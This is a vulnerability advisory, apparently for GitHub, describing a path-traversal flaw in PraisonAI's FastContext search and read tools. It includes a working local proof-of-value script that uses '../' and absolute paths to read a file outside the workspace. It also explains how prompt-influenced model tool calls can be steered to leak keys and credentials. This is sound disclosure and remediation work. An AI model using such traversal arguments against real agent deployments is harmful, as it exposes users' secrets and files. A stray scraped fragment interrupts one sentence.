| Package | Affected versions | Patched versions |
|---|---|---|
| praisonaiagents | < 1.6.78 | 1.6.78 |
PraisonAI's praisonaiagents.context.fast FastContext feature treats workspace_path as the root directory for code search, but its model-facing search tools and high-level read_context() helper accept absolute paths and .. traversal paths without checking that the resolved path remains under that workspace. A lower-trust prompt or caller that can influence FastContext tool arguments can read, search, and enumerate files outside the intended project workspace; the resulting file content is then returned to the caller or injected into the model's tool-result context.
FastContextAgent documents workspace_path as the "Root directory for searches" and stores it as an absolute path:
class FastContextAgent:
"""Specialized agent for fast parallel code search.
Attributes:
workspace_path: Root directory for searches
"""
def __init__(self, workspace_path: str, ...):
self.workspace_path = os.path.abspath(workspace_path)
The same class exposes grep_search, glob_search, read_file, and list_directory as model function-call tools via get_tools(). Those tools are intended to retrieve code context from the configured workspace.
The problem is in FastContextAgent.execute_tool(). It prepends workspace_path only when the caller supplies a relative path, but it does not reject absolute paths and does not canonicalize the joined relative path before enforcing containment:
if tool_name in ("grep_search", "glob_search"):
if "search_path" not in kwargs or kwargs["search_path"] == ".":
kwargs["search_path"] = self.workspace_path
elif not os.path.isabs(kwargs["search_path"]):
kwargs["search_path"] = os.path.join(self.workspace_path, kwargs["search_path"])
elif tool_name == "list_directory":
if "dir_path" not in kwargs or kwargs["dir_path"] == ".":
kwargs["dir_path"] = self.workspace_path
elif not os.path.isabs(kwargs["dir_path"]):
kwargs["dir_path"] = os.path.join(self.workspace_path, kwargs["dir_path"])
elif tool_name == "read_file":
if "filepath" in kwargs and not os.path.isabs(kwargs["filepath"]):
kwargs["filepath"] = os.path.join(self.workspace_path, kwargs["filepath"])
As a result, an absolute path passes through unchanged, and a relative traversal such as ../outside-secret.txt is transformed into <workspace>/../outside-secret.txt. The downstream search tools then call and operate on the resolved outside path.
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Scan my site freeos.path.abspath()The downstream tools do not enforce a FastContext workspace boundary:
def grep_search(search_path: str, pattern: str, ...):
search_path = os.path.abspath(search_path)
...
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
lines = f.readlines()
def read_file(filepath: str, ...):
filepath = os.path.abspath(filepath)
...
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
lines = f.readlines()
def list_directory(dir_path: str, ...):
dir_path = os.path.abspath(dir_path)
...
for entry in os.scandir(path):
...
The model-backed FastContextAgent.search() path is also affected. It sends the FastContext tools to the model, parses model-supplied tool-call JSON, and adds those arguments to a ToolCallBatch:
response = model_client.chat.completions.create(
model=self.model,
messages=messages,
tools=[{"type": "function", "function": t} for t in self.get_tools()],
tool_choice="auto"
)
...
args = json.loads(tool_call.function.arguments)
batch.add(tool_call.function.name, **args)
...
tool_results = self.coordinator.execute_turn_sync(batch)
That path bypasses execute_tool()'s incomplete workspace-prefixing entirely and sends model-generated paths directly to the raw filesystem search functions through ParallelSearchCoordinator.
The public high-level API has the same containment gap. FastContext.read_context() documents filepath as "relative to workspace", joins relative paths with workspace_path, and then calls read_file() without a resolved-path containment check:
def read_context(self, filepath: str, ...):
full_path = filepath
if not os.path.isabs(filepath):
full_path = os.path.join(self.workspace_path, filepath)
result = read_file(full_path, ...)
This behavior is not required for intended FastContext code search. A normal search through search_simple() searches only self.workspace_path; the PoV below uses that as the negative control. The vulnerability is that caller/model-controlled path parameters can escape that intended root.
The following local PoV creates a workspace with one harmless file and an adjacent outside file containing a canary. It then proves that ordinary workspace search does not find the canary, while FastContext path arguments can read, grep, glob, list, and return that outside canary through workspace-scoped APIs. The source-to-sink details above show the same missing containment also affects the model-backed FastContextAgent.search() path because it dispatches model-generated path arguments to the same raw search functions.
from pathlib import Path
from tempfile import TemporaryDirectory
from praisonaiagents.context.fast import FastContext
from praisonaiagents.context.fast.fast_context_agent import FastContextAgent
CANARY = "FAST_CONTEXT_CANARY=outside-workspace"
with TemporaryDirectory() as tmp:
root = Path(tmp) / "workspace"
root.mkdir()
(root / "inside.txt").write_text("INSIDE_ONLY=workspace\n")
outside = Path(tmp) / "outside-secret.txt"
outside.write_text(CANARY + "\n")
agent = FastContextAgent(str(root))
assert len(agent.search_simple(CANARY).files) == 0
assert "INSIDE_ONLY=workspace" in agent.execute_tool("read_file", filepath="inside.txt")["content"]
assert CANARY in agent.execute_tool("read_file", filepath="../outside-secret.txt")["content"]
assert CANARY in agent.execute_tool("read_file", filepath=str(outside))["content"]
assert any(CANARY in match["content"] for match in agent.execute_tool("grep_search", search_path="..", pattern=CANARY))
assert any(match["path"] == "outside-secret.txt" for match in agent.execute_tool("glob_search", search_path="..", pattern="*.txt"))
assert any(entry["name"] == "outside-secret.txt" for entry in agent.execute_tool("list_directory", dir_path="..")["entries"])
fc = FastContext(workspace_path=str(root), cache_enabled=False)
assert CANARY in fc.read_context("../outside-secret.txt")
Save the self-contained script from the Appendix below as fastcontext_workspace_pov.py, then run it against a local checkout:
export PRAISONAI=/path/to/PraisonAI
PYTHONPATH="$PRAISONAI/src/praisonai-agents" python fastcontext_workspace_pov.py
Expected vulnerable output:
{
"results": {
"absolute_read_discloses_canary": true,
"glob_parent_reveals_outside_file": true,
"grep_parent_discloses_canary": true,
"high_level_read_context_discloses_canary": true,
"inside_read_still_works": true,
"list_parent_reveals_outside_file": true,
"relative_traversal_read_discloses_canary": true,
"simple_search_does_not_find_outside_canary": true
},
"vulnerable": true
}
The version sweep sampled the FastContext introduction boundary and current releases:
PraisonAI FastContext workspace-boundary version sweep
current_main: 1620b49f36945d8cc8ee5635b906c960df5097a0
latest_tag_context: v4.6.63-2-g1620b49f
v2.3.9 praisonaiagents=0.0.188 missing fast_context_agent.py
v2.3.10 praisonaiagents=0.0.189 missing fast_context_agent.py
{"ref": "v2.3.11", "praisonaiagents_version": "0.0.190", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true}
{"ref": "v3.8.1", "praisonaiagents_version": "0.11.7", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true}
{"ref": "v4.5.149", "praisonaiagents_version": "1.6.8", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true}
{"ref": "v4.6.58", "praisonaiagents_version": "1.6.58", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true}
{"ref": "v4.6.62", "praisonaiagents_version": "1.6.62", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true}
{"ref": "v4.6.63", "praisonaiagents_version": "1.6.63", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true}
{"ref": "HEAD", "praisonaiagents_version": "1.6.63", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true}
No external service, live target, or real credential is needed for reproduction.
If an application exposes FastContext to lower-trust prompts or users, the attacker can cause the PraisonAI process to read files outside the intended workspace and return the contents through tool results or high-level FastContext APIs. Practical impacts include disclosure of source files, logs, prompt transcripts, API keys, local configuration, cloud credentials, and other process-readable text files. grep_search can search outside directories for secrets, glob_search and list_directory can enumerate outside file names and metadata, and read_file/read_context can return file contents.
The demonstrated impact is confidentiality. This report does not claim arbitrary write, code execution, or availability impact.
Suggested severity: High for network/API-backed agent deployments where lower-trust prompt content can influence a tool-using FastContext search; Medium if maintainers score only direct local API misuse. A conservative agent-deployment CVSS 3.1 vector is:
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
Relevant CWEs:
Make FastContext path resolution fail closed around a single workspace-containment helper:
candidate.relative_to(workspace) to succeed.FastContextAgent.execute_tool() for grep_search, glob_search, read_file, and list_directory.ToolCallBatch in FastContextAgent.search(). Do not call the raw search_tools functions with model-supplied paths.FastContext.read_context().search_tools.execute_tool() accept an optional workspace_path and enforce containment when used as a workspace-scoped tool dispatcher... traversal in all four FastContext tools, high-level read_context(), and the model tool-call execution path.Minimal containment shape:
def _resolve_workspace_path(workspace: str, user_path: str) -> str:
root = Path(workspace).resolve()
candidate = Path(user_path)
if not candidate.is_absolute():
candidate = root / candidate
resolved = candidate.resolve()
try:
resolved.relative_to(root)
except ValueError as exc:
raise PermissionError(f"FastContext path is outside workspace: {user_path}") from exc
return str(resolved)
praisonaiagentspraisonaiagents.context.fast1620b49f36945d8cc8ee5635b906c960df5097a01.6.63praisonaiagents is 0.0.188 and 0.0.189; present and vulnerable starting with sampled 0.0.190v4.6.63, praisonaiagents version 1.6.63Suggested affected range, based on the sampled source sweep:
praisonaiagents >= 0.0.190, <= 1.6.63
The exact first released package version should be confirmed by maintainers from the praisonaiagents.context.fast release history, but the repository sweep shows the vulnerable FastContext files first present at the sampled praisonaiagents 0.0.190 point and still vulnerable on current main.
No checked public advisory or local prior report matched the FastContext code-search workspace-boundary bypass in praisonaiagents.context.fast.
Closest public comparators are related but distinct:
GHSA-gcq3-mfvh-3x25: PraisonAI Code agent tools fail open without a workspace boundary. That advisory covers praisonai Code CODE_TOOLS wrappers and unset workspace defaults for read/edit helpers. This report covers praisonaiagents.context.fast.FastContextAgent and FastContext with an explicitly configured workspace_path; the root cause is missing containment after path joining and raw model tool-call dispatch, not an unset global workspace.GHSA-j7qx-p75m-wp7g: PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage. That advisory covers Dynamic Context artifact tools that accept raw artifact_path values. This report covers FastContext code-search/read/list tools and the model-backed FastContext search loop.GHSA-22cj-m4wf-fv2c: PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal. That advisory covers Dynamic Context history/terminal stores where run_id and agent_id are path components. This report covers FastContext's workspace root and file/search path tool arguments.GHSA-grrg-5cg9-58pf / CVE-2026-40117: read_skill_file() arbitrary file read due missing workspace boundary and approval gate. This report does not use skill tools.GHSA-7j2f-xc8p-fjmq / CVE-2026-40152: legacy FileTools.list_files() glob traversal. This report affects FastContext and can disclose file content through read_file/grep_search, not only metadata through FileTools glob patterns.GHSA-693f-pf34-72c5: FileTools path traversal. This report is in praisonaiagents.context.fast, not praisonaiagents.tools.file_tools.GHSA-9cr9-25q5-8prj and GHSA-9mqq-jqxf-grvw: MCP file/path traversal surfaces. This report does not use MCP.Public issue/PR search found no hits for FastContext arbitrary file read, "Fast Context" workspace boundary, or fast_context_agent in MervinPraison/PraisonAI.
GHSA-gcq3-mfvh-3x25: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gcq3-mfvh-3x25GHSA-j7qx-p75m-wp7g: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j7qx-p75m-wp7gGHSA-22cj-m4wf-fv2c: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-22cj-m4wf-fv2cGHSA-grrg-5cg9-58pf: https://github.com/advisories/GHSA-grrg-5cg9-58pfGHSA-7j2f-xc8p-fjmq: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7j2f-xc8p-fjmq#!/usr/bin/env python3
import json
from pathlib import Path
from tempfile import TemporaryDirectory
from praisonaiagents.context.fast import FastContext
from praisonaiagents.context.fast.fast_context_agent import FastContextAgent
CANARY = "FAST_CONTEXT_CANARY=outside-workspace"
def main() -> None:
with TemporaryDirectory(prefix="fastcontext-workspace-pov-") as tmp:
temp_root = Path(tmp)
workspace = temp_root / "workspace"
workspace.mkdir()
inside = workspace / "inside.txt"
outside = temp_root / "outside-secret.txt"
inside.write_text("INSIDE_ONLY=workspace\n", encoding="utf-8")
outside.write_text(CANARY + "\n", encoding="utf-8")
agent = FastContextAgent(str(workspace), max_turns=2, max_parallel=4)
simple_result = agent.search_simple(CANARY)
inside_result = agent.execute_tool("read_file", filepath="inside.txt")
relative_read = agent.execute_tool("read_file", filepath="../outside-secret.txt")
absolute_read = agent.execute_tool("read_file", filepath=str(outside))
grep_parent = agent.execute_tool("grep_search", search_path="..", pattern=CANARY, max_results=5)
glob_parent = agent.execute_tool("glob_search", search_path="..", pattern="*.txt", max_results=5)
list_parent = agent.execute_tool("list_directory", dir_path="..", max_entries=10)
context = FastContext(workspace_path=str(workspace), cache_enabled=False)
context_read = context.read_context("../outside-secret.txt")
results = {
"simple_search_does_not_find_outside_canary": len(simple_result.files) == 0,
"inside_read_still_works": "INSIDE_ONLY=workspace" in inside_result.get("content", ""),
"relative_traversal_read_discloses_canary": CANARY in relative_read.get("content", ""),
"absolute_read_discloses_canary": CANARY in absolute_read.get("content", ""),
"grep_parent_discloses_canary": any(CANARY in match.get("content", "") for match in grep_parent),
"glob_parent_reveals_outside_file": any(match.get("path") == "outside-secret.txt" for match in glob_parent),
"list_parent_reveals_outside_file": any(entry.get("name") == "outside-secret.txt" for entry in list_parent.get("entries", [])),
"high_level_read_context_discloses_canary": CANARY in (context_read or ""),
}
print(json.dumps({"vulnerable": all(results.values()), "results": results}, indent=2, sort_keys=True))
if __name__ == "__main__":
main()